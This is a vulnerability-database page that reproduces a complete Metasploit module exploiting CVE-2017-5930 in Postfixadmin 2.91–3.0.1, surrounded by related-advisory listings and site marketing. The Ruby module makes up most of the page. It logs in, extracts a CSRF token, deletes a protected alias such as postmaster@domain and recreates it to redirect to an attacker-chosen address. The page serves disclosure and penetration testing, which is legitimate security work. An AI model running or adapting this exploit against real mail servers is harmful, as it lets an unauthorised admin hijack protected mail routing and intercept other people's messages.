Lucene search
K

Postfixadmin Protected Alias Deletion Vulnerability

🗓️ 29 Dec 2017 16:13:59Reported by Jan-Frederik RieckersType 
metasploit
 metasploit
🔗 www.rapid7.com👁 66 Views

Postfixadmin Protected Alias Deletion Vulnerability between versions 2.91 and 3.0.1 allows redirection of protected aliases by unauthorized admins

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-5930
20 Mar 201700:00
attackerkb
AlpineLinux
CVE-2017-5930
20 Mar 201716:00
alpinelinux
Circl
CVE-2017-5930
29 May 201815:50
circl
CNVD
PostfixAdmin Session Management Security Bypass Vulnerability
10 Feb 201700:00
cnvd
CVE
CVE-2017-5930
20 Mar 201716:00
cve
Cvelist
CVE-2017-5930
20 Mar 201716:00
cvelist
Debian CVE
CVE-2017-5930
20 Mar 201716:00
debiancve
NVD
CVE-2017-5930
20 Mar 201716:59
nvd
Tenable Nessus
openSUSE Security Update : postfixadmin (openSUSE-2017-261)
21 Feb 201700:00
nessus
OpenVAS
Postfix Admin Security Bypass Vulnerability
21 Mar 201700:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
        'Description' => %q{
          Postfixadmin installations between 2.91 and 3.0.1 do not check if an
          admin is allowed to delete protected aliases. This vulnerability can be
          used to redirect protected aliases to an other mail address. Eg. rewrite
          the postmaster@domain alias
        },
        'Author' => [ 'Jan-Frederik Rieckers' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-5930'],
          ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
          ['BID', '96142'],
        ],
        'Privileged' => true,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DisclosureDate' => '2017-02-03'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
        OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
        OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
        OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
      ]
    )
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def target_alias
    datastore['TARGET_ALIAS']
  end

  def new_goto
    datastore['NEW_GOTO']
  end

  def check
    res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })

    return Exploit::CheckCode::Unknown unless res

    return Exploit::CheckCode::Safe if res.code != 200

    if res.body =~ /<div id="footer".*Postfix Admin/m
      version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)
      return Exploit::CheckCode::Detected unless version
      if Rex::Version.new('2.91') > Rex::Version.new(version[1])
        return Exploit::CheckCode::Detected
      elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])
        return Exploit::CheckCode::Detected
      end

      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Unknown
  end

  def run
    print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
    cookie = postfixadmin_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
    print_good('Authenticated with Postfixadmin')

    vprint_status('Requesting virtual_list')
    res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
    fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
    fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
    body = res.body
    vprint_status('Get token')
    token = body.match(/token=([0-9a-f]{32})/)
    fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token

    t = token[1]

    print_status('Delete the old alias')
    res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)

    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?

    res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)

    if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
      if res.nil? || res.body.nil?
        fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
      elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi
        fail_with(Failure::NotVulnerable, 'It seems the target is not vulnerable, the deletion of the target alias failed.')
      else
        fail_with(Failure::Unknown, 'An unexpected failure occurred.')
      end
    end
    print_good('Deleted the old alias')

    vprint_status('Will create the new alias')
    post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }

    res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)

    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?

    res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)

    if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
      if res.nil? || res.body.nil?
        fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
      elsif res.body =~ /<ul class="flash-error">/mi
        fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
      else
        fail_with(Failure::Unknown, 'An unexpected failure occurred.')
      end
    end
    print_good('New alias created')
  end

  # Performs a Postfixadmin login
  #
  # @param user [String] Username
  # @param pass [String] Password
  # @param timeout [Integer] Max seconds to wait before timeout, defaults to 20
  #
  # @return [String, nil] The session cookie as single string if login was successful, nil otherwise
  def postfixadmin_login(user, pass, timeout = 20)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => postfixadmin_url_login,
      'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }
    }, timeout)
    if res && res.redirect?
      cookies = res.get_cookies
      return cookies if
        cookies =~ /PHPSESSID=/
    end

    nil
  end

  def postfixadmin_url_login
    normalize_uri(target_uri.path, 'login.php')
  end

  def postfixadmin_url_list(domain = nil)
    modifier = domain.nil? ? '' : "?domain=#{domain}"
    normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
  end

  def postfixadmin_url_alias_delete(target, token)
    normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
  end

  def postfixadmin_url_edit
    normalize_uri(target_uri.path, 'edit.php')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.2High risk
Vulners AI Score7.2
CVSS 23.5
CVSS 3.12.7
EPSS0.14953
66